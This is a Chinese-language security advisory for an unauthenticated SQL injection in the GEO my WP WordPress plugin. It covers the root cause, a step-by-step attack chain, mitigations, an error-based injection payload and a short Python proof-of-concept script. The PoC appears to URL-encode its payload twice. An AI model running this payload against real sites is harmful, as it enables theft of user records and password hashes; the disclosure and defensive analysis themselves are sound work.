CVE-2026-9757 GEO my WP插件SQL注入漏洞

漏洞信息

漏洞编号

CVE-2026-9757

漏洞类型

SQL注入

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

GEO my WP WordPress插件

漏洞概述

CVE-2026-9757是WordPress GEO my WP插件中的一个高危SQL注入漏洞，CVSS评分7.5。该漏洞存在于插件的位置查询功能中，攻击者可以通过构造恶意请求来操纵数据库查询，从而获取敏感信息。漏洞的根本原因在于程序从$_SERVER['QUERY_STRING']直接读取参数并使用parse_str()解析，绕过了WordPress的wp_magic_quotes安全保护机制（该机制仅保护$_POST/$_GET/$_COOKIE/$_REQUEST）。随后，攻击者可以通过explode()函数分割参数值，并将结果直接拼接到SQL BETWEEN子句中，完全缺少is_numeric()验证、(float)类型转换、esc_sql()转义或$wpdb->prepare()预处理。此漏洞无需认证即可利用，但需要网站在公开页面托管Posts Locator搜索结果短代码[gmw form="results" form_id=N]，且至少有一篇关联了gmw_location记录的已发布文章。攻击者可以利用此漏洞注入额外的SQL查询语句，从数据库中提取敏感信息，包括用户数据、密码哈希等。

技术细节

漏洞位于GEO my WP插件的gmw_get_locations_within_boundaries_sql()函数中。攻击者通过swlatlng和nelatlng参数注入恶意SQL代码。具体攻击流程如下：1) 攻击者构造包含SQL注入载荷的URL参数，如swlatlng=1,1) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)u)--；2) parse_str()函数解析QUERY_STRING并将参数注入到$_GET/$_REQUEST中，绕过wp_magic_quotes保护；3) explode()函数按逗号分割参数值；4) 分割后的值直接拼接到SQL BETWEEN子句，如WHERE lat BETWEEN '1' AND '1) AND...'，导致SQL注入；5) 攻击者使用UNION SELECT或布尔盲注等技术提取数据库内容。漏洞影响版本为4.5.5及之前所有版本。修复需要在数据库操作前对所有用户输入进行严格验证和转义处理。

攻击链分析

STEP 1

Reconnaissance

攻击者识别目标WordPress网站是否安装GEO my WP插件，并确定版本号（需<=4.5.5）。通过查看页面源代码或直接访问插件目录确认插件存在。

STEP 2

Identify Attack Surface

攻击者查找包含Posts Locator短代码[gmw form="results" form_id=N]的公开页面，该页面是触发漏洞的必要条件。同时确认至少有一篇已发布文章关联了gmw_location记录。

STEP 3

Craft Malicious Payload

攻击者构造SQL注入载荷，利用swlatlng或nelatlng参数注入恶意SQL代码。载荷通常使用UNION SELECT或布尔盲注技术，如使用CONCAT()和FLOOR(RAND(0)*2)触发SQL错误以回显数据。

STEP 4

Bypass Security Controls

由于参数从$_SERVER['QUERY_STRING']读取并通过parse_str()解析，绕过了WordPress的wp_magic_quotes保护机制（该机制仅覆盖$_POST/$_GET/$_COOKIE/$_REQUEST）。随后explode()函数按逗号分割参数值。

STEP 5

Execute SQL Injection

攻击者发送包含恶意载荷的HTTP GET请求。载荷被直接拼接到SQL BETWEEN子句中，攻击者注入的额外SQL语句被执行。数据库返回包含敏感信息的错误消息或通过盲注技术逐字符提取数据。

STEP 6

Data Exfiltration

攻击者通过反复发送请求，使用SQL注入提取数据库中的敏感信息，包括用户表中的用户名、邮箱、密码哈希，以及其他业务敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2026-9757 SQL Injection PoC for GEO my WP plugin
# Target: WordPress site with GEO my WP plugin <= 4.5.5
# Requirement: Posts Locator shortcode [gmw form="results" form_id=N] on public page

target_url = "http://target-wordpress-site.com/"
form_id = 1  # Replace with actual form_id

# SQL Injection payload to extract database name
payload = "1,1) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x7e, FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)u)-- "

# Encode payload for URL
encoded_payload = requests.utils.quote(payload)

# Construct malicious URL
params = {
    "swlatlng": encoded_payload,
    "nelatlng": "90,180"
}

# Send request
try:
    response = requests.get(target_url, params=params, timeout=10)
    print(f"Status Code: {response.status_code}")
    print(f"Response Length: {len(response.text)}")
    # Check for SQL error or successful injection
    if "Duplicate entry" in response.text or "~1" in response.text:
        print("[+] SQL Injection successful - database name may be leaked")
except requests.RequestException as e:
    print(f"[-] Request failed: {e}")

影响范围

GEO my WP <= 4.5.5

防御指南

临时缓解措施

如果无法立即升级插件，可采取以下临时缓解措施：1) 临时移除页面上的Posts Locator短代码[gmw form="results" form_id=N]，直到补丁应用；2) 通过.htaccess或Nginx配置限制对相关URL路径的访问；3) 部署Web应用防火墙规则拦截包含swlatlng/nelatlng参数的恶意请求；4) 限制数据库用户权限，确保应用程序账户仅有必要的最低权限；5) 启用WordPress的数据库查询日志记录以便及时发现异常查询行为。